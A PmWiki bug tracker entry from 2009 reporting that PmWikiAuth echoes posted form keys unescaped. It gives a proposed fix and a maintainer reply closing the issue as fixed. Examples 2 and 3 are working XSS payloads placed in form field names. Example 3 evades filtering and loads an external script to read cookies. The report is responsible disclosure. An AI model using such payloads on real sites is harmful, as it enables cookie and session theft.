01108: Unescaped posted keys in PmWikiAuth

Summary: Unescaped posted keys in PmWikiAuth
Created: 2009-07-10 03:59
Status: Closed - fixed for 2.2.3
Category: Bug
Assigned:
Priority: 3
Version: 2.2.2
OS: Win32/Apache2.2/PHP5.2

Description:

Original Code: (Funktion PmWikiAuth in pmwiki.php)

  $postvars = '';
  foreach($_POST as $k=>$v) {
    if ($k == 'authpw' || $k == 'authid') continue;
    $v = str_replace('$', '$', 
             htmlspecialchars(stripmagic($v), ENT_COMPAT));
    $postvars .= "<input type='hidden' name='$k' value=\"$v\" />\n";
  }
  $FmtV['$PostVars'] = $postvars;

Replace-Code:
$FmtV['$PostVars'] = MakePostVars($_POST);
Additional function:

function MakePostVars($array,$out='',$tree=array()) {
 foreach($array as $key => $var) {
  if(!count($tree) and ($key == 'authpw' or $key == 'authid'))
   continue;
  $key = str_replace('$','&#036;',
	htmlspecialchars(stripmagic($key),ENT_QUOTES));
  if(is_array($var)) {
   array_push($tree,$key);
   $out .= MakePostVars($var,$out,$tree);
   array_pop($tree);
  }
  else {
   $out .= '<input type="hidden" name="';
   if(count($tree)) {
    $out .= reset($tree);
    while($val = next($tree))
     $out .= "[$val]";
    $out .= "[$key]";
   }
   else
    $out .= $key;
   $out .= '" value="'.str_replace('$','&#036;',
	htmlspecialchars(stripmagic($var),ENT_QUOTES)).'" />';
  }
 }
 return $out;
}

My English is very bad, so I use Babelfish to translate one. As a reference, I append the original German text at the end of the report with it. (I hope someone here can read and understand ...)

I have problems with (:input select ... multiple:) and password-protected pages.
I will send, if not I'm logged in the wiki, via a form with $_POST an array to a password protected page. (See Example 1) The request is intercepted by PmWiki, because a password is required. So far so good.

Unfortunately PmWiki expects only strings in the $_POST-Request and no array (but in a multiple select it is required), and follow error message:
Warning: htmlspecialchars() expects parameter 1 to be string, array given in pmwiki.php on line 1856

The error message you can press while when "magic_quotes_gpc" is enabled, but the request is still lost.

Well, I made to the original code with a custom function to replace. When debugging, I went to an XSS vulnerability in the original code encountered:

Two variables "$k" and "$v" are in a loop with the contents of $_POST set: $v is devalued almost correctly, but on the other hand, $k not.

You can with small restrictions ("." and "Space" will be caught, but by "%2e" and "tabs" to be replaced) in $k XSS code to push the password in the query is executed. (See Example 2 and Example 3)

These two bugs have been PmWiki 2.0.beta19 up to the latest version 2.2.2 available.

  • The multiple-select bug can be circumvented if you have previously logged.
  • The XSS bug may, if necessary with "magic_quotes_gpc" circumvented, or if you made $PostVars $AuthPromptFmt away.

I hope that I noted everything in this report and was able to express myself in spite of my language difficulties clearly and intelligibly.


  • For all the examples is "SiteAdmin.Status&action=edit" represents a password-protected page.
  • All examples work with pmwiki-2.2.2 (Tested without config.php and PHP 5.2, globals=off, magic_quotes_gpc=off)

Example 1: Multiple-Select as Array (Does not work on pmwiki.org - $PostVars not set in $AuthPromptFmt)

(:input form method=post action={$ScriptUrl}?n=SiteAdmin.Status&action=edit:)
(:input select name=select[colors][] value=ff0000 red size=3 multiple:)
(:input select name=select[colors][] value=00ff00 green size=3 multiple:)
(:input select name=select[colors][] value=0000ff blue size=3 multiple:)
(:input submit name=send value=ok:)
(:input end:)

Example 2: XSS-Test

(:input form method=post action={$ScriptUrl}/index.php?n=SiteAdmin.Status&action=edit:)
(:input submit name="'><script>alert('XSS')</script>" value="XSS name alert only":)
(:input end:)

Example 3: XSS-Attack (View Cookies only and does not work with Firefox, tested and works with: Chrome, IE, Opera, Safari)

(:input form method=post action={$ScriptUrl}/index.php?n=SiteAdmin.Status&action=edit:)
(:input submit name="foo'	value='bar'	/><script	type=\
'text/javascript'	src='http://mengelke%2emine%2enu/xss%2ejs'></script>\
<input	type='hidden'	name='hack" value="XSS alert attack":)
(:input end:)

All examples can be tested also on my server: http://mengelke.mine.nu/pmwiki/pmwiki.php?n=Main.WikiSandbox


<German>

Mein Englisch ist sehr schlecht, daher setze ich zur Übersetzung Babelfish ein. Als Referenz hänge ich den Deutschen Originaltext ans Ende des Reports mit dran. (Ich hoffe das kann hier jemand lesen und verstehen...)
Ich habe Probleme mit (:input select ... multiple:) und Kennwort geschützten Seiten.
Ich schicke, wenn ich nicht im Wiki angemeldet bin, mit ein Formular per $_POST ein Array an eine Kennwort geschützte Seite. (Siehe Beispiel 1) Der Request wird von PmWiki abgefangen, da eine Kennworteingabe erforderlich ist. So weit so gut.
Leider erwartet PmWiki nur Strings im $_POST-Request und kein Array (was aber bei einen Multiple Select erforderlich ist), und gibt folgene Fehlermeldung aus:
Warning: htmlspecialchars() expects parameter 1 to be string, array given in pmwiki.php on line 1856
Die Fehlermeldung kann man zwar unterdrücken, wenn man "magic_quotes_gpc" aktiviert, aber der Request geht dennoch verloren.
Nun habe ich mich ran gemacht, um den Original-Code durch eine eigene Funktion zu ersetzen. Beim Debuggen bin ich dann auf eine XSS-Schwachstelle im Original-Code gestoßen:
Zwei Variablen "$k" und "$v" werden in einer Schleife mit dem Inhalt von $_POST gesetzt: $v wird dabei fast korrekt entwertet, aber $k dagegen überhaut nicht.
Man kann mit kleinen Einschränkungen ("." und "Space" werden abgefangen, können aber durch "%2e" und "Tabs" ersetzt werden) in $k XSS-Code unterschieben, der bei den Kennwortabfrage ausgeführt wird. (Siehe Beispiel 2 und Beispiel 3)
Diese beiden Bugs sind seit PmWiki 2.0.beta19 bis zur aktuellen Version 2.2.2 vorhanden.
* Der Multiple-Select-Bug kann umgangen werden wenn man sich vorher einloggt.
* Der XSS-Bug kann notfalls mit "magic_quotes_gpc" umgangen werden oder wenn man $PostVars aus $AuthPromptFmt entfernt.
Ich hoffe dass ich bei diesen Report alles beachtet habe und mich trotz meiner Sprachschwierigkeiten klar und verständlich ausdrücken konnte.

</German>

Thanks for your report, the posted keys will be escaped in the next release. I have split this entry, moving the Posted Multiple Select Options to 01110. I am closing this entry. Thanks! --Petko July 10, 2009, at 05:09 AM